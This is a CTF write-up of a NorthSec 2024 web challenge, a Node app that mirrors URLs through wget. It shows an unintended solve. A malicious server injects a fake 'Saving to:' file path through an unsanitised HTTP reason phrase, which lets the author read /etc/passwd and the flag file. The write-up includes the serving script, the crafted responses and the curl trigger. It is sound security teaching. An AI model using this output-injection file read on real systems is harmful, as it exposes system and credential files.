Authors
Charl-alexandre Le Brun Pentester at Desjardins and member of the
ROP
team. Charl-Alexandre was also a member of thel33tb33s
CTF team for the NorthSec 2024 competition.
Challenge
This challenge was solved during the NSEC24 CTF.
The following scenario was given to kick off the challenge:
Humans perceive stuff like communication, and there’s something in the brain called the Broca’s area that pretty much analyzes inputs and translate to make this understandable. They call that our Human Mirror system. I should reflect on that.
Mr Wellington has complained about his difficulty to process foreign languages. We’ll be exploring Broca’s area to see if we can poke in there and find a way to rewire the translator.
For this mandate, you should be working with this application that receives an external resource as an input and provides a translation. We’ve also obtained the source code.
http://brocaarea.ctf/
http://brocaarea.ctf/backup.zip
By visiting the http://brocarea.ctf/backup.zip
we obtain the source code for the application.
The landing page is simply a form asks for a URL:

Understanding the application
const fs = require('fs');
const path = require('path');
const serve = require('koa-static');
const { koaBody } = require('koa-body');
const Koa = require('koa');
const { execFile, execFileSync } = require("child_process");
const app = new Koa();
app.use(koaBody());
// serve files from ./public
app.use(serve(path.join(__dirname, '/public')));
// response
app.use(
serve(path.join(__dirname, '/views'))
);
const WGET_BIN_PATH = '/usr/bin/wget'
const CHMOD_BIN_PATH = '/usr/bin/chmod'
const NGINX_PATH = '/var/www/nginx/'
const STATIC_PATH = NGINX_PATH + "/static/tmp"
// Report Generation
app.use((ctx, _) => new Promise((resolve, _) => {
// ignore non-POSTs
if ('POST' != ctx.method) {
ctx.status = 404;
ctx.body = 'Not Found';
return resolve(ctx.body);
}
const args = [
'--no-cookies',
'--timeout=120',
'--tries=3',
'--no-check-certificate',
'-r',
'-P',
STATIC_PATH
];
if (ctx.request.body && ctx.request.body.url) {
// Make sure we can write our result in the tmp folder
execFileSync(CHMOD_BIN_PATH, ['-R', '700', STATIC_PATH]);
// Fetch our content
execFile(WGET_BIN_PATH, args.concat(ctx.request.body.url), null, (err, _, stderr) => {
if (!err && stderr.includes('Saving to: ‘')) {
// If the program ran successfully, make sure we can read the file
// and send the output in the HTTP response
var filePath = stderr.split('Saving to: ‘')[1].split('’\n')[0];
var file = fs.createReadStream(filePath);
file.on('end', function() {
fs.rmSync(path.dirname(filePath), { recursive: true, force: true });
});
ctx.type = 'hmtl';
ctx.set('Content-type', 'text/html');
ctx.body = file;
return resolve(ctx.body);
} else {
ctx.status = 500;
if (err) {
ctx.body = err.stack;
} else {
ctx.body = "An unknown error has occured.";
}
// Make sure we cleanup the tmp folder just in case
fs.readdirSync(STATIC_PATH).forEach(f => fs.rmSync(`${STATIC_PATH}/${f}`, { recursive: true, force: true }));
return resolve(ctx.body);
}
});
} else {
ctx.status = 500;
ctx.body = 'Missing URL argument';
return resolve(ctx.body);
}
}));
if (!module.parent) app.listen(3000, "::1");
This application acts like a mirror in the way that it fetches the content of the specified URL and reflects it back at you.
To do so, it configures a wget
command that ends up looking something like this :
wget \
--no-cookies \
--timeout=120 \
--tries=3 \
--no-check-certificate \
-r \
-P /var/html/nginx/static/tmp \
http://shell.ctf:8080/
It will then download recursively the content on the target server and store it locally in the STATIC_PATH
(which happens to be /var/www/nginx/static/tmp
.)
From there, we took an unintended path to solve this challenge. Looking specifically at these lines in the source:
execFile(WGET_BIN_PATH, args.concat(ctx.request.body.url), null, (err, _, stderr) => {
if (!err && stderr.includes('Saving to: ‘')) {
// If the program ran successfully, make sure we can read the file
// and send the output in the HTTP response
var filePath = stderr.split('Saving to: ‘')[1].split('’\n')[0];
var file = fs.createReadStream(filePath);
file.on('end', function() {
fs.rmSync(path.dirname(filePath), { recursive: true, force: true });
});
ctx.type = 'hmtl';
ctx.set('Content-type', 'text/html');
ctx.body = file;
return resolve(ctx.body);
The application executes the command detailed above, then stores the stderr
from the results. It then checks if the stderr
includes the Saving to: ‘
string.
If it does, it extracts the local file path for the first downloaded file by splitting between the first occurrences of Saving to: ‘
and ’\n
. The application then reads the file at the given path and puts the content as the body of the response.
Here is an example of a typical wget stderr
output:
--2024-05-25 14:48:29-- http://shell.ctf:8081/
Connecting to shell.ctf:8081... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5 [text/html]
Saving to: ‘index.html’
0K 100% 993K=0s
2024-05-25 14:48:29 (993 KB/s) - ‘index.html’ saved [5/5]
If we can find a way to place the magic strings before they naturally occur in the wget
output, we can read arbitrary files on the system.
To test this out, we created the following small script to serve raw requests to the server when it contacts our shell.ctf
:
#!/usr/bin/env python3
import sys
import socket
RAW_REQUEST_FILE="req"
if __name__ == "__main__":
s = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
host = '::'
port = int(sys.argv[1])
s.bind((host, port))
s.listen(5)
print(f"[*] Listening on port {port}.")
while True:
c, _ = s.accept()
print('[-] Request received, serving req')
c.sendall(open(RAW_REQUEST_FILE, 'rb').read())
c.close()
This way we can experiment by only modifying the req
file which represents our raw request. Here is an example of what req
can look like:
HTTP/1.1 200 OK
Content-Length: 0
User-Agent: kek/0.0.1
From there, we started experimenting with various headers and parameters that could place our magic strings in the right place.
We first tried by a Location
header, the idea was to redirect it to a link containing our strings :
HTTP/1.1 301 Moved Permanently
Location: http://127.0.0.1:8081/?Saving to: ‘index.html’
Content-Length: 0
Here is an example of the wget
output in such a case :
--2024-05-30 15:02:13-- http://shell.ctf:8081/
Connecting to shell.ctf:8081... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: http://shell.ctf:8081/?Saving to: %E2%80%98index.html%E2%80%99 [following]
--2024-05-30 15:02:13-- http://shell.ctf:8081/?Saving%20to:%20%E2%80%98index.html%E2%80%99
[...] # follows redirect until max redirections are reached.
Unfortunately, when the link is followed, the special characters are properly URL encoded, which prevents the exploitation.
After this and a bunch of tests using other headers that could be reflected by wget
, I decided to try and play with the response line.
HTTP/1.1 200 !@#$%^&*():‘’
Content-Length: 0
User-Agent: oops/0.0.1
Here is what wget
prints out to stderr
when it receives such a response :
--2024-05-25 15:08:31-- http://shell.ctf:8081/
Connecting to shell.ctf:8081... connected.
HTTP request sent, awaiting response... 200 !@#$%^&*():‘’
Length: 0
Saving to: ‘index.html’
index.html [ <=> ] 0 --.-KB/s in 0s
2024-05-25 15:08:31 (0.00 B/s) - ‘index.html’ saved [0/0]
Nothing is sanitized in the reason phrase of the response line. And this is printed to stderr
before the natural occurrence of our target string. This also fulfills the need to have a ’\n
string, since the reason phrase ends with a newline.
Our next move was to create the following request :
HTTP/1.1 200 Saving to: ‘/etc/passwd’
Content-Length: 0
User-Agent: oops/0.0.1
Once the application communicates with us, it will output the following to stderr
:
--2024-05-25 19:21:49-- http://shell.ctf:8081/
Connecting to shell.ctf:8081... connected.
HTTP request sent, awaiting response... 200 Saving to: ‘/etc/passwd’
Length: 0
Saving to: ‘index.html’
index.html [ <=> ] 0 --.-KB/s in 0s
2024-05-25 19:21:49 (0.00 B/s) - ‘index.html’ saved [0/0
This causes the filePath
variable to contain /etc/passwd
.
Which is then read directly afterwards and sent back to the user.
All that is left is to trigger a request to our server :
curl http://brocarea.ctf -d 'url=http://shell.ctf:8081/'
This causes will cause the /etc/passwd
content to be returned directly.
Afterwards, we simply have to change the /etc/passwd
to /flag.txt
and we obtain it !
FLAG-57199b590846fa71df8dfa468a5d9e5d
This was an unintended way to solve this challenge !
It was worth a good 3 points.
If you wish to read more, there is a great writeup for the intended way on the winning team’s blog.
Here it is: https://hubert.hackin.ca/posts/nsec24-mirror/